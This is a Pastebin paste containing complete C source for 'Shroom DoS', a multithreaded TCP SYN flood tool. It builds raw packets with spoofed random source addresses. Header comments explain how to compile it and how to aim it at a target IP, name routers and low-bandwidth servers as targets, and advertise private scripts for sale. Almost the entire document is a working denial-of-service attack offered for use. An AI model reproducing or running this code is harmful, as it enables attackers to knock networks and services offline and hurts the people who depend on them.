Advertisement
1337ings

[C++] Shroom DoS

Sep 30th, 2016
1,563
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.97 KB | None | 0 0
  1. // This is a script for DDoSing, mainly routers will be your only target, But some low bandwidth servers could be easily knocked off it's feet
  2. // You will need to complie the file with gcc, don't worry ill teach you silly goose ;3
  3. // Save the file as "ddos.c"
  4. // gcc -pthread ddos.c -o ddos
  5. // after done errors might occor, some may not.
  6. // If done correctly it should have a file named "ddos"
  7. // after done so. you can DDoS with the command;
  8. // ./ddos IP 500 -1 300
  9. // 500 is your threads.
  10. // 300 would be your time, in seconds
  11. // ./ddos <target IP> <threads> <-1> <time>
  12. // _____ _ _ _
  13. // / ____| | (_) |
  14. // | | _ __ ___ __| |_| |_ ___
  15. // | | | '__/ _ \/ _` | | __/ __|
  16. // | |____| | | __/ (_| | | |_\__ \
  17. // \_____|_| \___|\__,_|_|\__|___/
  18. //
  19. // Chris Poole | http://twitter.com/codingplanets
  20. // If you're wanting your own private script message me on twitter! I always reply!
  21. //
  22. // Welcome to....
  23. // ___ _ _ ____ _____ _____ __ __ ____ _____ ___
  24. // / __)( )_( )( _ \( _ )( _ )( \/ ) ( _ \( _ )/ __)
  25. // \__ \ ) _ ( ) / )(_)( )(_)( ) ( )(_) ))(_)( \__ \
  26. // (___/(_) (_)(_)\_)(_____)(_____)(_/\/\_) (____/(_____)(___/
  27. // Don't trip someones router out man!
  28. #include <pthread.h>
  29. #include <unistd.h>
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <string.h>
  33. #include <sys/socket.h>
  34. #include <netinet/ip.h>
  35. #include <netinet/tcp.h>
  36. #include <time.h>
  37. #define MAX_PACKET_SIZE 4096
  38. #define PHI 0x9e3779b9
  39. static unsigned long int Q[4096], c = 362436;
  40. volatile int limiter;
  41. volatile unsigned int pps;
  42. volatile unsigned int sleeptime = 100;
  43.  
  44. void init_rand(unsigned long int x)
  45. {
  46. int i;
  47. Q[0] = x;
  48. Q[1] = x + PHI;
  49. Q[2] = x + PHI + PHI;
  50. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  51. }
  52. unsigned long int rand_cmwc(void)
  53. {
  54. unsigned long long int t, a = 18782LL;
  55. static unsigned long int i = 4095;
  56. unsigned long int x, r = 0xfffffffe;
  57. i = (i + 1) & 4095;
  58. t = a * Q[i] + c;
  59. c = (t >> 32);
  60. x = t + c;
  61. if (x < c) {
  62. x++;
  63. c++;
  64. }
  65. return (Q[i] = r - x);
  66. }
  67. unsigned short csum (unsigned short *buf, int count)
  68. {
  69. register unsigned long sum = 0;
  70. while( count > 1 ) { sum += *buf++; count -= 2; }
  71. if(count > 0) { sum += *(unsigned char *)buf; }
  72. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  73. return (unsigned short)(~sum);
  74. }
  75.  
  76. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  77.  
  78. struct tcp_pseudo
  79. {
  80. unsigned long src_addr;
  81. unsigned long dst_addr;
  82. unsigned char zero;
  83. unsigned char proto;
  84. unsigned short length;
  85. } pseudohead;
  86. unsigned short total_len = iph->tot_len;
  87. pseudohead.src_addr=iph->saddr;
  88. pseudohead.dst_addr=iph->daddr;
  89. pseudohead.zero=0;
  90. pseudohead.proto=IPPROTO_TCP;
  91. pseudohead.length=htons(sizeof(struct tcphdr));
  92. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  93. unsigned short *tcp = malloc(totaltcp_len);
  94. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  95. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  96. unsigned short output = csum(tcp,totaltcp_len);
  97. free(tcp);
  98. return output;
  99. }
  100.  
  101. void setup_ip_header(struct iphdr *iph)
  102. {
  103. char ip[17];
  104. snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  105. iph->ihl = 5;
  106. iph->version = 4;
  107. iph->tos = 0;
  108. iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  109. iph->id = htonl(rand()%54321);
  110. iph->frag_off = 0;
  111. iph->ttl = MAXTTL;
  112. iph->protocol = 6;
  113. iph->check = 0;
  114. iph->saddr = inet_addr(ip);
  115. }
  116.  
  117. void setup_tcp_header(struct tcphdr *tcph)
  118. {
  119. tcph->source = htons(rand()%65535);
  120. tcph->seq = rand();
  121. tcph->ack_seq = 0;
  122. tcph->res1 = 0;
  123. tcph->res2 = 0;
  124. tcph->doff = 5;
  125. tcph->psh = 0;
  126. tcph->syn = 1;
  127. tcph->window = htons(65535);
  128. tcph->check = 0;
  129. tcph->urg_ptr = 0;
  130. }
  131.  
  132. void *flood(void *par1)
  133. {
  134. char *td = (char *)par1;
  135. char datagram[MAX_PACKET_SIZE];
  136. struct iphdr *iph = (struct iphdr *)datagram;
  137. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  138.  
  139. struct sockaddr_in sin;
  140. sin.sin_family = AF_INET;
  141. sin.sin_port = htons(rand()%54321);
  142. sin.sin_addr.s_addr = inet_addr(td);
  143.  
  144. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  145. if(s < 0){
  146. fprintf(stderr, "Shrooms can't connect man...\n");
  147. exit(-1);
  148. }
  149. memset(datagram, 0, MAX_PACKET_SIZE);
  150. setup_ip_header(iph);
  151. setup_tcp_header(tcph);
  152. tcph->dest = htons(rand()%54321);
  153. iph->daddr = sin.sin_addr.s_addr;
  154. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  155. int tmp = 1;
  156. const int *val = &tmp;
  157. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  158. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  159. exit(-1);
  160. }
  161. init_rand(time(NULL));
  162. register unsigned int i;
  163. i = 0;
  164. int psh = 0;
  165. int res1 = 0;
  166. int res2 = 0;
  167. while(1)
  168. {
  169. if(psh > 1) psh = 1;
  170. if(res1 > 4) res1 = 0;
  171. if(res2 > 3) res2 = 0;
  172. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  173. setup_ip_header(iph);
  174. setup_tcp_header(tcph);
  175. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  176. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  177. tcph->dest = htons(rand()%65535);
  178. iph->daddr = sin.sin_addr.s_addr;
  179. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  180. tcph->seq = rand_cmwc() & 0xFFFF;
  181. tcph->source = htons(rand_cmwc() & 0xFFFF);
  182. tcph->ack_seq = 1;
  183. tcph->psh = psh;
  184. tcph->res1 = res1;
  185. tcph->res2 = res2;
  186. tcph->check = 0;
  187. tcph->check = tcpcsum(iph, tcph);
  188. pps++;
  189. psh++;
  190. res1++;
  191. res2++;
  192. if(i >= limiter)
  193. {
  194. i = 0;
  195. usleep(sleeptime);
  196. }
  197. i++;
  198. }
  199. }
  200. int main(int argc, char *argv[ ])
  201. {
  202. if(argc < 5){
  203. fprintf(stdout, "Shroom DoS\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  204. exit(-1);
  205. }
  206. srand(time(0));
  207. int num_threads = atoi(argv[2]);
  208. int maxpps = atoi(argv[3]);
  209. limiter = 0;
  210. pps = 0;
  211. pthread_t thread[num_threads];
  212. int multiplier = 20;
  213. int i;
  214. fprintf(stderr, "Some trippy shrooms are about to droute target man...\n", argv[1]);
  215. for(i = 0;i<num_threads;i++){
  216. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  217. }
  218. fprintf(stderr, "Oh man, i think He's feeling them shrooms now awh man rip=: %s\n", argv[1]);
  219. for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  220. {
  221. usleep((1000/multiplier)*1000);
  222. if((pps*multiplier) > maxpps)
  223. {
  224. if(1 > limiter)
  225. {
  226. sleeptime+=100;
  227. } else {
  228. limiter--;
  229. }
  230. } else {
  231. limiter++;
  232. if(sleeptime > 25)
  233. {
  234. sleeptime-=25;
  235. } else {
  236. sleeptime = 0;
  237. }
  238. }
  239. pps = 0;
  240. }
  241.  
  242. return 0;
  243. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement